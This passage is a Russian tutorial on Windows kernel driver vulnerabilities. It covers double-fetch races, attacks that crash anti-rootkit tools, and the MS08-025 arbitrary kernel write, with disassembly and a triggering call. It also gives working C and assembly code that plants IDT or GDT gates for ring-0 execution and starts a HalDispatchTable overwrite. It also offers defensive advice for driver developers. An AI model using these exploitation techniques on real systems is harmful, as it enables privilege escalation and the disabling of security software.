Такой тип уязвимостей называется double fetch, и пример показанный мной возник не на пустом месте. Такие уязвимости тяжело выявлять и ещё сложнее эксплуатировать, однако в реальных программах они встречаются. Примером этого может служить уязвимость MS08-061, которая была найдена осенью 2008 года в драйвере графической подсистемы Windows (win32k.sys). Для предотвращения подобных ситуаций разработчику достаточно всего-навсего обращаться к полям структуры всего один раз, сохраняя их значения в локальных переменных.
Техника эксплуатации double fetch-уязвимостей заключается в создании двух потоков, первый из которых будет в цикле отправлять IRP-запрос драйверу, а второй, с более высоким приоритетом, вызывать функцию Sleep, подбирая интервал задержки таким образом, чтобы исполнение первого потока прервалось в нужном месте. В процессе этих манипуляций другие потоки системы должны быть приостановлены, если такая возможность присутствует. Разумеется, никаких гарантий успешной эксплуатации нет даже близко, и в условиях, отличных от лабораторных, её вероятность будет определяться исключительно волей случая.
Несколько слов о защитном ПО
Раскрытые выше вопросы написания кода в полной мере характерны для любых
драйверов режима ядра. Но так как эксплуатация уязвимостей драйверов в большей
степени является проблемой для защитных программ, я считаю необходимым также
затронуть и те вопросы их проектирования, которые напрямую связаны с нашей
темой.
Одним из немногих необходимых условий успешной эксплуатации уязвимости в драйвере, который использует возможности диспетчера ввода-вывода для взаимодействия с приложением, является возможность беспрепятственного получения дескриптора его устройства. Очевидно, что, не имея дескриптора, мы не сможем осуществить атаку, передав драйверу нужные нам данные с помощью функции DeviceIoControl. Можно придумать не так много способов получения дескрипторов устройства:
Препятствовать осуществлению и первого, и второго потенциально злонамеренным кодом достаточно просто. В случае с непосредственным открытием устройства по имени, все рычаги управления нам предоставляет диспетчер ввода-вывода: в обработчике IRP_MJ_CREATE будет достаточно или проверять процесс, со стороны которого был осуществлён вызов, или разрешать открывать устройство только один раз. Если вы решите использовать последний вариант решения проблемы, нужно иметь в виду, что драйверу придется не только следить за тем, чтобы легитимный процесс получал возможность «захватить» устройство раньше злонамеренного, но и корректно отрабатывать в случае возможного аварийного завершения легитимного процесса из-за внутренней ошибки. Чтобы помешать копированию дескриптора устройства из легитимного процесса, достаточно просто предотвратить возможность его открытия. Этого можно добиться перехватом системного вызова NtOpenProcess или разграничением привилегий, при котором злонамеренный процесс в любой ситуации не будет иметь прав на открытие легитимного процесса. Разумеется, первый вариант более пригоден для общего использования, так как большинство пользователей Windows работают под учётной записью с административными привилегиями. Многие HIPS-ы для предотвращения копирования дескрипторов также перехватывают системный вызов NtDuplicateHandle, что должно помешать получению дескриптора легитимного процесса путём копирования его из процесса сервера подсистемы win32 (csrss.exe, он владеет дескрипторами всех процессов), такая дополнительная мера также весьма и весьма желательна.
Однако я слишком углубился в теоретические изыскания. А как же действительно обстоят дела в защитных программах? К сожалению, несмотря на простоту и очевидность описанных в этой главе мер, в настоящее время ни один продукт (будь то антивирус, или файрвол, или пакет класса internet security) должным образом не препятствует открытию дескрипторов своих устройств сторонними процессами. Это демонстрирует крайнюю степень недальновидности и бессистемного подхода разработчиков данного ПО: ведь даже при отсутствии уязвимости злонамеренный процесс будет иметь возможность банально послать драйверу системы защиты «магический» запрос, который используется легитимным приложением-сервисом для её отключения при нажатии пользователем на соответствующую кнопку. Нередки и такие ситуации, когда вспомогательная DLL- библиотека, внедряемая HIPS-ом в контролируемый процесс, напрямую общается с устройством драйвера защиты. В этом случае для эксплуатации уязвимости или отправки того самого «магического» запроса открытие устройства вообще не требуется: достаточно только перечислить свои дескрипторы, с целью найти среди них нужный.
Уязвимости в антируткитах
Разработчикам также важно уделять особое внимание написанию кода, который
осуществляет парсинг файлов какого-либо формата. Это могут быть как текстовые
форматы вроде XML или INI, так и бинарные, вроде Portable Executable. Примером
в случае с PE-файлами могут служить современные антируткит-утилиты, которые,
как известно, помимо скрытых объектов (файлы, ключи системного реестра,
процессы) могут также обнаруживать перехваты функций, установленные путём
патчинга их кода (такая техника перехвата называется сплайсинг). Очевидно, что
для детектирования сплайсинга достаточно прочитать код, который содержится в
исполняемом файле на диске и сравнить его с тем, который загружен в память.
Вот здесь и начинается самое интересное. Дело в том, что в зависимости от
аппаратной конфигурации путь к исполняемому файлу ядра может отличаться на
разных системах, поэтому большинство антируткитов получают данный путь либо из
информации о загруженных модулях, возвращённой функцией
NtQuerySystemInformation, либо самостоятельным анализом списка загруженных
модулей ядра. Список загруженных модулей является двусвязным, его заголовок
находится в глобальной переменной ядра, которая называется PsLoadedModuleList,
а каждый элемент списка описывается структурой LDR_DATA_TABLE_ENTRY. Именно на
этой особенности работы антируткитов основывается атака, состоящая из
следующих шагов:
Большинство антируткитов не ожидают подвоха именно в этом месте, поэтому при обработке некорректного исполняемого файла или сами завершают свою работу с ошибкой, или роняют систему в BSoD. Применение такой атаке найти просто. Уровень развития современных антируткитов делает задачу полного сокрытия вредоносного кода в системе невероятно сложной, поэтому авторы многих зловредов стараются помешать нормальной работе защитного софта, а подобная атака избавляет от необходимости писать код детектирования работы для каждой утилиты в отдельности.
Название утилиты| Версия| Результат атаки
---|---|---
Rootkit Unhooker| 4.6.520.1010| При запуске утилита сообщает о том, что путь к
исполняемому файлу ядра, вероятно, неверный. Путь к оригинальному файлу
находится путем анализа конфигурации операционной системы. После инициализации
все функции работают корректно.
Safe’n’Sec Rootkit Detector| 1.0.0.1| BSoD в драйвере GvzLcez.sys из-за
обращения к невалидному адресу памяти во время парсинга подмененного
исполняемого файла.
GMER| 1.0.14.14116| Падение процесса gmer.exe на этапе инициализации из-за
обращения к невалидному адресу памяти во время парсинга подмененного
исполняемого файла.
IceSword| 1.2.2.0| При запуске показывает сообщение, содержащее текст
“Initialize failed, error code: 1”, после чего процесс завершается.
Как вы можете видеть по результатам тестирования самых популярных антируткитов, корректно отработал в данной ситуации только Rootkit Unhooker, который, к слову, вполне заслуженно имеет славу одной из самых стабильных и функциональных утилит подобного рода.
Рисунок 3. Rootkit Unhooker, успешно отразивший атаку.
От защитного ПО к ядру операционной системы
В апреле 2008 года в публичных источниках впервые появилась информация об
уязвимости MS08-025, эксплуатация которой позволяла выполнить произвольный код
в режиме ядра и достичь благодаря этому локального повышения привилегий на
операционных системах Windows XP и Windows Server 2003. Стоит сказать, что это
уже далеко не первая уязвимость, которая была обнаружена в win32k.sys, и я
более чем уверен, что и не последняя. Такая ситуация сложилась в первую
очередь из-за того, что изначально графическая подсистема работала в режиме
пользователя (по Windows NT 4.0 включительно), но позже, чтобы сократить
количество ресурсоёмких операций по переключению потока в режим ядра,
разработчиками Windows было решено перенести графическую подсистему в Ring 0.
Однако, в силу достаточно большого объёма кода и архитектурных особенностей,
во время этого переноса не было уделено достаточно внимания вопросам
безопасности, что в свою очередь и способствовало появлению в win32k.sys
большого количества уязвимостей разной степени опасности.
Причиной уязвимости MS08-025 стала неправильная валидация входных параметров в системном вызове графической подсистемы NtUserMessageCall. Прототип этой недокументированной функции выглядит так:
Code:Copy to clipboard
LRESULT __stdcall NtUserMessageCall(
HWND hwnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR xParam,
DWORD xpfnProc,
BOOL bAnsi
);
Взгляните на следующий фрагмент дизассемблерного листинга данной функции:
Code:Copy to clipboard
win32k!NtUserMessageCall:
bf80f615 8bff mov edi,edi
bf80f617 55 push ebp
bf80f618 8bec mov ebp,esp
bf80f61a 83ec0c sub esp,0Ch
bf80f61d 56 push esi
bf80f61e 57 push edi
bf80f61f e81614ffff call win32k!EnterCrit (bf800a3a)
bf80f624 8b4d08 mov ecx,dwordptr [ebp+8]
; выполняем валидацию хендла окна, переданного в первом параметре
bf80f627 e8cd1effff call win32k!ValidateHwnd (bf8014f9)
bf80f62c 8b4d1c mov ecx,dwordptr [ebp+1Ch]
bf80f62f 8bf0 mov esi,eax
bf80f631 85f6 test esi,esi
bf80f633 74c5 je win32k!NtUserMessageCall+0x20 (bf80f5fa)
bf80f635 a118899abf mov eax,dwordptr [win32k!gptiCurrent (bf9a8918)]
bf80f63a 8b5028 mov edx,dwordptr [eax+28h]
bf80f63d 8955f4 mov dwordptr [ebp-0Ch],edx
bf80f640 8d55f4 lea edx,[ebp-0Ch]
bf80f643 895028 mov dwordptr [eax+28h],edx
bf80f646 8975f8 mov dwordptr [ebp-8],esi
bf80f649 ff4604 inc dwordptr [esi+4]
bf80f64c 8b450c mov eax,dwordptr [ebp+0Ch]
bf80f64f 25ffff0100 and eax,1FFFFh
bf80f654 3d00040000 cmp eax,400h
bf80f659 733b jae win32k!NtUserMessageCall+0x6e (bf80f696)
bf80f65b ff7520 push dwordptr [ebp+20h]
bf80f65e 0fb680e0e898bf movzx eax,byteptr win32k!MessageTable (bf98e8e0)[eax]
bf80f665 51 push ecx; со 2-го по 5-й передаются через стек вызываемой далее функции
bf80f666 ff7518 push dwordptr [ebp+18h]
bf80f669 83e03f and eax,3Fh
bf80f66c ff7514 push dwordptr [ebp+14h]
bf80f66f ff7510 push dwordptr [ebp+10h]
bf80f672 ff750c push dwordptr [ebp+0Ch]
bf80f675 56 push esi; C-оператор case: вызываемая функция определяется 6-м параметром
bf80f676 ff148500e898bf call dwordptr win32k!gapfnMessageCall (bf98e800)[eax*4]
bf80f67d 83feff cmp esi,0FFFFFFFFh
bf80f680 8bf8 mov edi,eax
bf80f682 7405 je win32k!NtUserMessageCall+0xba (bf80f689)
bf80f684 e80c1affff call win32k!ThreadUnlock1 (bf801095)
bf80f689 e8d813ffff call win32k!LeaveCrit (bf800a66)
bf80f68e 8bc7 mov eax,edi
bf80f690 5f pop edi
bf80f691 5e pop esi
bf80f692 c9 leave
bf80f693 c21c00 ret 1Ch
По адресу win32k!gapfnMessageCall, как несложно догадаться, находится таблица адресов переходов C-оператора case. В стеке вызываемой функции передаются c второго по пятый параметры (msg, wParam, lParam, xParam), что были переданы в NtUserMessageCall, а сама вызываемая функция определяется шестым параметром (xPfnProc). Если в качестве значения этого параметра передать ноль, будет осуществлён вызов следующей функции:
Code:Copy to clipboard
win32k!NtUserfnOUTSTRING:
bf8dc6b2 6a14 push 14h
bf8dc6b4 6850b698bf push offset win32k!`string'+0x8b0 (bf98b650)
bf8dc6b9 e82f44f2ff call win32k!_SEH_prolog (bf800aed)
bf8dc6be 33d2 xor edx,edx
bf8dc6c0 8955fc mov dwordptr [ebp-4],edx
bf8dc6c3 8b45e0 mov eax,dwordptr [ebp-20h]
bf8dc6c6 b9ffffff7f mov ecx,7FFFFFFFh
bf8dc6cb 23c1 and eax,ecx
bf8dc6cd 8b7520 mov esi,dwordptr [ebp+20h]
bf8dc6d0 c1e61f shl esi,1Fh
bf8dc6d3 0bc6 or eax,esi
bf8dc6d5 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6d8 8bf0 mov esi,eax
bf8dc6da 337510 xor esi,dwordptr [ebp+10h]
bf8dc6dd 23f1 and esi,ecx
bf8dc6df 33c6 xor eax,esi
bf8dc6e1 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6e4 395520 cmp dwordptr [ebp+20h],edx
bf8dc6e7 750c jne win32k!NtUserfnOUTSTRING+0x43 (bf8dc6f5)
bf8dc6e9 8d3400 lea esi,[eax+eax]
bf8dc6ec 33f0 xor esi,eax
bf8dc6ee 23f1 and esi,ecx
bf8dc6f0 33c6 xor eax,esi
bf8dc6f2 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6f5 8955dc mov dwordptr [ebp-24h],edx
bf8dc6f8 8b7514 mov esi,dwordptr [ebp+14h]
bf8dc6fb 8975e4 mov dwordptr [ebp-1Ch],esi
bf8dc6fe 33db xor ebx,ebx
bf8dc700 43 inc ebx
bf8dc701 53 push ebx
bf8dc702 23c1 and eax,ecx
bf8dc704 50 push eax
bf8dc705 56 push esi; проверка доступности памяти на запись; адрес – 3-й параметр, размер - 4-й
bf8dc706 ff1550a698bf call dwordptr [win32k!_imp__ProbeForWrite (bf98a650)]
bf8dc70c 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
bf8dc710 8b451c mov eax,dwordptr [ebp+1Ch]
bf8dc713 83c006 add eax,6
bf8dc716 83e01f and eax,1Fh
bf8dc719 ff7518 push dwordptr [ebp+18h]
bf8dc719 ff7518 push dwordptr [ebp+18h]
bf8dc71c 8d4ddc lea ecx,[ebp-24h]
bf8dc71f 51 push ecx
bf8dc720 ff7510 push dwordptr [ebp+10h]
bf8dc723 ff750c push dwordptr [ebp+0Ch]
bf8dc726 ff7508 push dwordptr [ebp+8]
bf8dc729 8b0d58859abf mov ecx,dwordptr [win32k!gpsi (bf9a8558)]
bf8dc72f ff54810c call dwordptr [ecx+eax*4+0Ch]
bf8dc733 8bf8 mov edi,eax
bf8dc735 85ff test edi,edi
bf8dc737 0f8452ffffff je win32k!NtUserfnOUTSTRING+0x87 (bf8dc68f)
...
bf8dc68f 394510 cmp dwordptr [ebp+10h],eax
bf8dc692 0f84a5000000 je win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)
bf8dc698 895dfc mov dwordptr [ebp-4],ebx
bf8dc69b ff7520 push dwordptr [ebp+20h]
bf8dc69e 56 push esi; запись терминирующего нулевого байта
; (или слова, если третий параметр указывает на Unicode-строку)
bf8dc69f e8ec77ffff call win32k!NullTerminateString (bf8d3e90)
bf8dc6a4 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
bf8dc6a8 e990000000 jmp win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)
Этот код с помощью уже известной нам функции ProbeForWrite проверяет доступность для записи буфера со строкой, адрес и длина которой определяется четвертым и пятым параметрами (lParam и xParam) функции NtUserMessageCall. Если указатель корректен, в конец строки записывается нулевой байт (слово), чтобы эту строку корректно обработала функция RtlMultiByteToUnicodeN (в листинге её вызов пропущен). На первый взгляд здесь всё совершенно корректно, однако разработчики забыли учесть тот факт, что ProbeForWrite всегда возвращает TRUE, если в качестве длины был передан ноль. Этот факт, в свою очередь, вместе с отсутствием проверки принадлежности указателя к диапазону памяти пользовательского режима, позволяет записать нулевое слово по произвольному адресу памяти ядра. Для этого нужно вызвать NtUserMessageCall следующим образом:
Code:Copy to clipboard
__declspec(naked) LRESULT __stdcall NtUserMessageCall(
HWND hwnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR xParam,
DWORD xpfnProc,
BOOL bAnsi)
{
__asm
{
// в eax - номер системного вызова
mov eax,SDT_INDEX_OF_NtUserMessageCall
// в edx - указатель на лежащие в стеке параметры функции
lea edx,[esp+4]
int 0x2E
retn 0x1C
}
}
...
NtUserMessageCall(hWnd, 0x0d, 0x80000000, Address, 0, 0, 0);
В качестве первого параметра (hWnd) нужно передавать валидный дескриптор любого окна. Об эксплуатации этой и подобных уязвимостей читайте далее.
В системных компонентах функция ProbeForWrite используется очень часто, и существует ещё целый ряд уязвимостей, связанных с её неверным использованием (например, MS08-066). Тот факт, что подобные огрехи весьма часто встречаются даже в таких, казалось бы, важных узлах ОС, как графическая подсистема, лишний раз демонстрирует необходимость внимательного и тщательного подхода к безопасности при написании абсолютно любого Ring 0 кода.
Эксплуатация локальных уязвимостей в драйверах режима ядра
Предположим, уязвимость вами уже найдена, теперь было бы хорошо попробовать её
поэксплуатировать. Способы эксплуатации уязвимостей в драйверах бывают весьма
разные, и зависят, в первую очередь, от типа уязвимостей, которые бывают
условно следующими:
Рассмотрим все эти случаи по порядку.
Возможность перезаписи произвольного байта памяти существует в основном из-за ошибок при проектировании и на практике встречается весьма часто. Такую уязвимость эксплуатировать проще всего, и сейчас я покажу, как выполнить произвольный код в режиме ядра на примере перезаписи элемента в таблице векторов прерываний (IDT). Каждая запись IDT представляет собой два двойных слова, и может описывать шлюз вызова, шлюз прерывания или шлюз задачи. Нас интересует исключительно шлюз прерывания, имеющий следующий формат:
Рисунок 4. Шлюз прерывания.
Поля Offset High и Offset Low содержат старшие и младшие 16 бит адреса вектора (обработчика) прерывания. Segment Selector – это значение кодового селектора, которое будет помещено процессором в сегментный регистр CS после генерации прерывания. В Windows значение кодового селектора для режима ядра всегда равно 8. Бит P (Present) определяет доступность данной записи в IDT и если она используется – должен быть установлен в значение 1. DPL (Descriptor Privileges Level) – контролирует доступ к вектору, и в нашем случае он должен содержать значение 3. Бит D определяет разрядность записи в IDT таблице: должен содержать 1 для 32-битного режима и 0 для 16-битного.
Теперь, зная формат записи таблицы векторов прерываний, можно написать код, который устанавливает свой шлюз прерывания и вызывает его вектор:
Code:Copy to clipboard
#pragma pack(1)
typedefstruct _SIDT
{
unsignedshort limit;
unsignedlong base;
} SIDT,
*PSIDT;
#pragma pack()
#pragma pack(1)
typedefstruct _IDT_ENTRY
{
unsignedshort low_offset;
unsignedshort segment_selector;
unsignedshort access;
unsignedshort high_offset;
} IDT_ENTRY,
*PIDT_ENTRY;
#pragma pack()
#define INT_NUM 0xDD
__declspec(naked) void__stdcall r0_handler_idt(void)
{
__asm
{
// этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
iretd
}
}
void call_r0_idt(void)
{
SIDT Idt;
IDT_ENTRY IdtEntry;
// получаем адрес IDT-таблицы__asm sidt Idt;
// заполняем своё поле IDT-таблицы
IdtEntry.low_offset = (WORD)((DWORD)r0_handler_idt & 0xFFFF);
IdtEntry.segment_selector = 8; // кодовый селектор для kernel mode/*
1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 = EE00h
------------------------------
| | D | | | |
|P| P |0 D 1 1 0|0 0 0|reserved|
| | L | | | |
------------------------------
*/
IdtEntry.access = 0xEE00;
IdtEntry.high_offset = (WORD)((DWORD)r0_handler_idt >> 16);
DWORD Addr = Idt.base + INT_NUM * sizeof(IDT_ENTRY);
// пишем наше поле в память
WriteKernelMemory(Addr, &IdtEntry, sizeof(IdtEntry));
// вызываем прерывание__asmint INT_NUM;
}
Номер вектора прерывания выбирается произвольно, с тем расчётом, чтобы он был свободен на статистически как можно большем количестве тестовых машин. Благо, в Windows большинство векторов прерываний защищённого режима выше 30h свободно почти всегда.
Для выполнения своего кода в режиме ядра можно также использовать установку шлюза вызова в глобальной таблице дескрипторов (GDT). Этот код не имеет абсолютно никаких преимуществ перед приведенным выше примером с IDT, и использование того или иного метода – дело исключительно личных предпочтений. Я же решил показать оба для полноты картины. Размер записи глобальной таблицы дескрипторов также равен двум двойным словам, и шлюз вызова имеет следующий формат:
Рисунок 5. Шлюз вызова.
Поля Offset High, Offset Low, Segment Selector, P и DPL имеют такие же значения, как и аналогичные в шлюзе прерывания. Type определяет тип шлюза, для 32-битного шлюза вызова он должен быть равен 12 (1100b). Поле Parameters Count определяет количество двойных слов, которые будут скопированы из стека в случае его переключения, в нашем случае это значение должно быть нулевым.
Теперь напишем код, который будет устанавливать шлюз вызова и выполнять передачу управления обработчику шлюза путём длинного межсегментного вызова:
Code:Copy to clipboard
#pragma pack(1)
typedefstruct _SGDT
{
unsignedshort limit;
unsignedlong base;
} SGDT,
*PSGDT;
#pragma pack()
#pragma pack(1)
typedefstruct _CALLGATE_DESCRIPTOR
{
unsignedshort low_offset;
unsignedshort selector;
unsignedchar param_count:4;
unsignedchar some_bits:4;
unsignedchar type:4;
unsignedchar app_system:1;
unsignedchar dpl:2;
unsignedchar present:1;
unsignedshort high_offset;
} CALLGATE_DESCRIPTOR,
*PCALLGATE_DESCRIPTOR;
#pragma pack()
#define GDT_NUM 0x60
__declspec(naked) void__stdcall r0_handler_gdt(void)
{
__asm
{
// этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
retf
}
}
void call_r0_gdt(void)
{
SGDT Gdt;
CALLGATE_DESCRIPTOR Callgate;
// получаем адрес GDT таблицы__asm sgdt Gdt;
// заполняем поля нашего шлюза вызова
Callgate.low_offset = (WORD)((DWORD)r0_handler_gdt & 0xFFFF);
Callgate.selector = 8; // кодовый селектор для kernel mode
Callgate.param_count = 0;
Callgate.some_bits = 0;
// тип GDT-записи (в нашем случае - 32-х битный шлюз вызова)
Callgate.type = 12;
Callgate.app_system = 0;
Callgate.dpl = 3; // descriptor privilege level // этот бит указывает на то, что данная запись в GDT валидна и используется
Callgate.present = 1;
Callgate.high_offset = (WORD)((DWORD)r0_handler_gdt >> 16);
DWORD Addr = Gdt.base + GDT_NUM * sizeof(CALLGATE_DESCRIPTOR);
// записываем шлюз в GDT
WriteKernelMemory(Addr, &Callgate, sizeof(Callgate));
WORD FarCall[3];
FarCall[0] = 0;
FarCall[1] = 0;
FarCall[2] = (GDT_NUM * sizeof(CALLGATE_DESCRIPTOR)) | 3;
// выполняем длинный межсегментный вызов__asm call fword ptr [FarCall];
}
Возможно, многие из вас зададут вопрос: почему, имея возможность перезаписи произвольного байта памяти ядра, нам просто не подменить адрес обработчика системного сервиса в SDT вместо возни с каким-то таблицами процессора? Без сомнения, перезаписать адрес какого-нибудь редко используемого системного сервиса несколько проще, однако у этого метода есть один существенный подводный камень. Как известно, указатель на непосредственно саму таблицу адресов обработчиков системных вызовов (KiServiceTable) при их диспетчеризации ядро получает из KeServiceDescriptorTable, куда он заносится на этапе инициализации системы. KiServiceTable достаточно легко находится с помощью анализа секции базовых поправок бинарного файла ядра, но подвох заключается в том, что очень часто её адрес в KeServiceDescriptorTable бывает подменён со стороны руткита или вполне легального софта (например, Kaspersky Internet Security когда-то этим грешил), решившего расширить эту таблицу для добавления в неё своих дополнительных системных сервисов. Другими словами, у нас нет никакой возможности найти адрес реально используемой таблицы адресов обработчиков системных вызовов из пользовательского режима.
Стоит помнить, что в Windows GDT- и IDT-таблицы свои для каждого процессора (однако их содержимое полностью дублируется). Поэтому перед вызовом приведенных выше функций call_r0_gdt или call_r0_idt необходимо «привязать» текущий поток к одному конкретному процессору. Для этого можно использовать функцию SetThreadAffinityMask, которая устанавливает битовую маску размером в два двойных слова, где каждый установленный бит обозначает процессор, на котором целевому потоку будет разрешено выполняться:
Code:Copy to clipboard
SetThreadAffinityMask(GetCurrentThread(), 1);
С уязвимостями, основанными на возможности перезаписи произвольного байта, мы разобрались, но что делать, когда у атакующего получается только обнулить память по произвольному адресу (примером подобной уязвимости может служить описанная выше MS08-025)? Очевидно, что ноль можно использовать как адрес, по которому можно осуществлять передачу управления (в пользовательском режиме действительно можно выделить страницу памяти, которая будет иметь нулевой адрес), однако куда этот нулевой адрес записать? GDT и IDT не подходят, KiServiceTable ненадёжна, поэтому при беглом рассмотрении в голову приходят только сравнительно сложные и нестабильные варианты с поиском инструкции типа jmp imm32 в кодовой секции ядра и перезаписью её операнда. Но если копнуть глубже, можно найти намного более изящное решение.
В таблице экспорта бинарного файла ядра, помимо всего прочего, есть одна достаточно интересная запись – HalDispatchTable. При более близком рассмотрении можно установить, что это действительно таблица, которая импортируется модулем hal.dll (библиотека уровня аппаратных абстракций). Эта таблица содержит указатели на некоторые функции hal.dll, которые используются ядром и, как несложно догадаться, заполняется в коде самой hal.dll:
Code:Copy to clipboard
hal!HalInitSystem+0x76:
806eb132 a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb137 c74004ba4b6e80 mov dwordptr [eax+4],offset hal!HaliQuerySystemInformation (806e4bba)
806eb13e a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb143 c7400836746e80 mov dwordptr [eax+8],offset hal!HalpSetSystemInformation (806e7436)
806eb14a a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb14f 833803 cmp dwordptr [eax],3
806eb152 724f jb hal!HalInitSystem+0xe7 (806eb1a3)
806eb154 c740347e686e80 mov dwordptr [eax+34h],offset hal!HaliInitPnpDriver (806e687e)
806eb15b a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb160 c7403c80266d80 mov dwordptr [eax+3Ch],offset hal!HaliGetDmaAdapter (806d2680)
806eb167 a1b8e56c80 mov eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb16c c7400cb6686e80 mov dwordptr [eax+0Ch],offset hal!HaliLocateHiberRanges (806e68b6)
806eb173 a1b8e56c80 mov eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb178 c7402c10516d80 mov dwordptr [eax+2Ch],offset hal!HalpBiosDisplayReset (806d5110)
806eb17f a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb184 c74038cc726e80 mov dwordptr [eax+38h],offset hal!HaliInitPowerManagement (806e72cc)
806eb18b a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb190 c74040506d6e80 mov dwordptr [eax+40h],offset hal!HalacpiGetInterruptTranslator (806e6d50)
В исходных текстах ядра эта таблица объявлена так:
Code:Copy to clipboard
typedef
struct
{
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
pHalIoAssignDriveLetters HalIoAssignDriveLetters;
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
} HAL_DISPATCH, *PHAL_DISPATCH;
Для нас интерес представляет самая первая функция – HalQuerySystemInformation. Прототип её следующий:
Code:Copy to clipboard
typedef
NTSTATUS
(*pHalQuerySystemInformation)(
IN HAL_QUERY_INFORMATION_CLASS InformationClass,
IN ULONG BufferSize,
IN OUT PVOID Buffer,
OUT PULONG ReturnedLength
);
Если отследить все места, из которых она вызывается, можно заметить, что она вызывается из KeQueryIntervalProfile:
Code:Copy to clipboard
nt!KeQueryIntervalProfile:
8063a8cc 8bff mov edi,edi
8063a8ce 55 push ebp
8063a8cf 8bec mov ebp,esp
8063a8d1 83ec0c sub esp,0Ch
8063a8d4 8b4508 mov eax,dwordptr [ebp+8]
; проверяем, равен ли первый параметр функции нулю (ProfileTime)
8063a8d7 85c0 test eax,eax
8063a8d9 7507 jne nt!KeQueryIntervalProfile+0x16 (8063a8e2)
; возвращаем значение глобальной переменной KiProfileInterval
8063a8db a114925480 mov eax,dwordptr [nt!KiProfileInterval (80549214)]
8063a8e0 eb32 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
; проверяем, равен ли первый параметр функции единице (ProfileAlignmentFixup)
8063a8e2 83f801 cmp eax,1
8063a8e5 7507 jne nt!KeQueryIntervalProfile+0x22 (8063a8ee)
; возвращаем значение глобальной переменной KiProfileAlignmentFixupInterval
8063a8e7 a1a81f5580 mov eax,dwordptr [nt!KiProfileAlignmentFixupInterval (80551fa8)]
8063a8ec eb26 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
; во всех остальных случаях вызываем HalQuerySystemInformation
8063a8ee 8945f4 mov dwordptr [ebp-0Ch],eax
8063a8f1 8d4508 lea eax,[ebp+8]
8063a8f4 50 push eax
8063a8f5 8d45f4 lea eax,[ebp-0Ch]
8063a8f8 50 push eax; InformationClass = 0Сh (HalProfileSourceInformation)
8063a8f9 6a0c push 0Ch
8063a8fb 6a01 push 1
8063a8fd ff153c4a5480 call dwordptr [nt!HalDispatchTable+0x4 (80544a3c)]
8063a903 85c0 test eax,eax
8063a905 7c0b jl nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a907 807df800 cmp byteptr [ebp-8],0
8063a90b 7405 je nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a90d 8b45fc mov eax,dwordptr [ebp-4]
8063a910 eb02 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
8063a912 33c0 xor eax,eax
8063a914 c9 leave
8063a915 c20400 ret 4
А KeQueryIntarvalProfile, в свою очередь, практически сразу вызывается из системного сервиса NtQueryIntervalProfile:
Code:Copy to clipboard
nt!NtQueryIntervalProfile:
8060c82e 6a0c push 0Ch
8060c830 68d0ca4d80 push offset nt!ExpLuidIncrement+0x1a0 (804dcad0)
8060c835 e8a6a8f2ff call nt!_SEH_prolog (805370e0)
; получаем PreviousMode
8060c83a 64a124010000 mov eax,dwordptrfs:[00000124h]
8060c840 8a9840010000 mov bl,byteptr [eax+140h]
8060c846 84db test bl,bl
8060c848 743a je nt!NtQueryIntervalProfile+0x56 (8060c884)
8060c84a 8365fc00 and dwordptr [ebp-4],0
; если вызов был из пользовательского режима – проверяем переданный указатель
8060c84e 8b750c mov esi,dwordptr [ebp+0Ch]
8060c851 a1b47b5580 mov eax,dwordptr [nt!MmUserProbeAddress (80557bb4)]
8060c856 3bf0 cmp esi,eax
8060c858 7206 jb nt!NtQueryIntervalProfile+0x32 (8060c860)
8060c85a c70000000000 mov dwordptr [eax],0
8060c860 8b06 mov eax,dwordptr [esi]
8060c862 8906 mov dwordptr [esi],eax
8060c864 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
8060c868 eb1d jmp nt!NtQueryIntervalProfile+0x59 (8060c887)
8060c86a 8b45ec mov eax,dwordptr [ebp-14h]
8060c86d 8b00 mov eax,dwordptr [eax]
8060c86f 8b00 mov eax,dwordptr [eax]
8060c871 8945e4 mov dwordptr [ebp-1Ch],eax
8060c874 33c0 xor eax,eax
8060c876 40 inc eax
8060c877 c3 ret
8060c878 8b65e8 mov esp,dwordptr [ebp-18h]
8060c87b 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
